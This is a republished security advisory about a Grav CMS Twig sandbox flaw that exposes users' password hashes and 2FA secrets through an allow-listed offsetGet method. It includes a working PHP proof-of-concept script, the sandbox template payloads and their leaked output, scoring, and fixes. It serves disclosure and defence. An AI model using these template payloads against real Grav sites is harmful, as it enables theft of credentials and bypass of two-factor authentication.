GHSA-3jhr-mxmx-38cx: High severity composer/getgrav/grav vulnerability

Published Sep 17, 2026
·
Updated

Summary

system/config/security.yaml's Twig sandbox policy allow-lists offsetget and offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete Grav\Common\User\DataUser\User class does not filter which fields offsetGet() returns, so any sandboxed template with access to a User object can read hashedpassword, secret (2FA seed), and twofasecret directly, bypassing the redaction Grav's own code applies everywhere else.

The core evidence, from Grav's own code

system/src/Grav/Common/User/DataUser/User.php:

php / {@inheritdoc} Override to filter out sensitive fields like password hashes / public function jsonSerialize(): array { $items = parent::jsonSerialize();

// Security: Remove sensitive fields that should never be exposed to frontend unset($items['hashedpassword']); unset($items['secret']); // 2FA secret unset($items['twofasecret']); // Alternative 2FA field name

return $items; }

public function offsetGet($offset) { $value = parent::offsetGet($offset); // only special-cases 'authorized', nothing else -- no redaction return $value; }

system/config/security.yaml:

yaml - class: 'Grav\Common\User\Interfaces\UserInterface' methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'

This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.

Live, end-to-end verification

Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension, policed by Grav's own GravSecurityPolicy class, constructed directly from values parsed out of the actual system/config/security.yaml (via Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a real User object.

Environment setup:

bash git clone https://github.com/getgrav/grav.git cd grav apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

livesandboxrendertest.php:

php <?php require 'vendor/autoload.php';

use Symfony\Component\Yaml\Yaml; use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Grav\Common\Twig\Sandbox\GravSecurityPolicy; use Grav\Common\User\DataUser\User;

$securityYaml = Yaml::parseFile('system/config/security.yaml'); $sandboxCfg = $securityYaml['twigsandbox'];

function rowsToMap(array $rows): array { $out = []; foreach ($rows as $row) { $out[$row['class']] = arraymap('strtolower', arraymap('trim', explode(',', $row['methods']))); } return $out; }

$policy = new GravSecurityPolicy( $sandboxCfg['allowedtags'], $sandboxCfg['allowedfilters'], rowsToMap($sandboxCfg['allowedmethods']), rowsToMap($sandboxCfg['allowedproperties']), $sandboxCfg['allowedfunctions'] ); $sandbox = new SandboxExtension($policy, true);

$user = new User([ 'username' => 'admin', 'hashedpassword' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX', 'secret' => 'JBSWY3DPEHPK3PXP', 'twofasecret' => 'ALT2FASECRETVALUE9999', ]);

function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void { $twig = new Environment(new ArrayLoader(['@Page:test' => $template])); $twig->addExtension($sandbox); try { echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "$label => BLOCKED: " . $e->getMessage() . "\n"; } }

tryRender('hashedpassword via offsetGet()', "{{ user.offsetGet('hashedpassword') }}", $sandbox, $user); tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user); tryRender('twofasecret via offsetGet()', "{{ user.offsetGet('twofasecret') }}", $sandbox, $user); tryRender('twofasecret via subscript', "{{ user['twofasecret'] }}", $sandbox, $user); tryRender('control: user.set() (unlisted)', "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);

Run: php livesandboxrendertest.php

Output:

hashedpassword via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX secret via offsetGet() => JBSWY3DPEHPK3PXP twofasecret via offsetGet() => ALT2FASECRETVALUE9999 twofasecret via subscript => BLOCKED: Calling "twofasecret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1. control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.

The control payload (a real, non-allow-listed User method) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.

Precise nuance for the fix

Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript sugar on a non-built-in ArrayAccess object) through two different sandbox checks -- checkMethodAllowed against allowedmethods, versus checkPropertyAllowed against allowedproperties. The subscript form is already correctly blocked, since UserInterface has no allowedproperties entry. Only the explicit .offsetGet()/ .offsetExists() method-call form leaks, because those methods are present in allowedmethods.

Scope, stated honestly

I could not find where Grav core itself binds a user variable into the sandboxed Twig page-content context -- Twig::processPage()'s $twigvars has no 'user' key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: the security.yaml sandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.

Impact

Any sandboxed Twig context where a UserInterface object is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.

Suggested fix

Trimming the UserInterface entry alone is insufficient: User extends Data, and the separate generic allowlist entry for Grav\Common\Data\Data (get, value, items, offsetget, offsetexists) independently grants the same access via instanceof matching, through three methods (get, value, offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leak hashedpassword and secret/twofasecret.

The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashedpassword/secret/twofasecret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.

Affected component

- system/config/security.yaml, twigsandbox.allowedmethods entry for Grav\Common\User\Interfaces\UserInterface - system/src/Grav/Common/User/DataUser/User.php, offsetGet() (behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)

Ecosystem: Composer Package name: getgrav/grav Affected versions: current 2.0.15 dev tree (bounded by whenever UserInterface was first added to allowedmethods in security.yaml — worth checking git log -p on that file if you want an exact lower bound before submitting) Patched versions: leave blank

Severity / CVSS v3.1 vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Resolves to 7.7 / High. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.

CWE: CWE-522 (Insufficiently Protected Credentials), add CWE-284 (Improper Access Control)

Affected Software

1 affected componentFixes available
composer/getgrav/grav<=2.0.15
2.0.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.16

Event History

Sep 17, 2026
Advisory Published
via GitHub·08:27 PM
Data Sourced
via GitHub·08:27 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does Grav's normal user-data redaction prevent exposure through this path?

No. The User class removes hashed_password, secret, and twofa_secret when serializing to JSON, but its offsetGet() method returns fields without applying that redaction.

2

What conditions are required for exploitation?

A sandboxed Twig template must have access to a Grav User object. The sandbox policy permits offsetget and offsetexists on the UserInterface, allowing the template to request fields through the concrete DataUser User implementation.

3

Are all UserInterface implementations necessarily affected?

The evidence specifically identifies Grav\Common\User\DataUser\User. Its offsetGet() implementation does not filter sensitive fields, despite the sandbox policy applying to Grav\Common\User\Interfaces\UserInterface.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203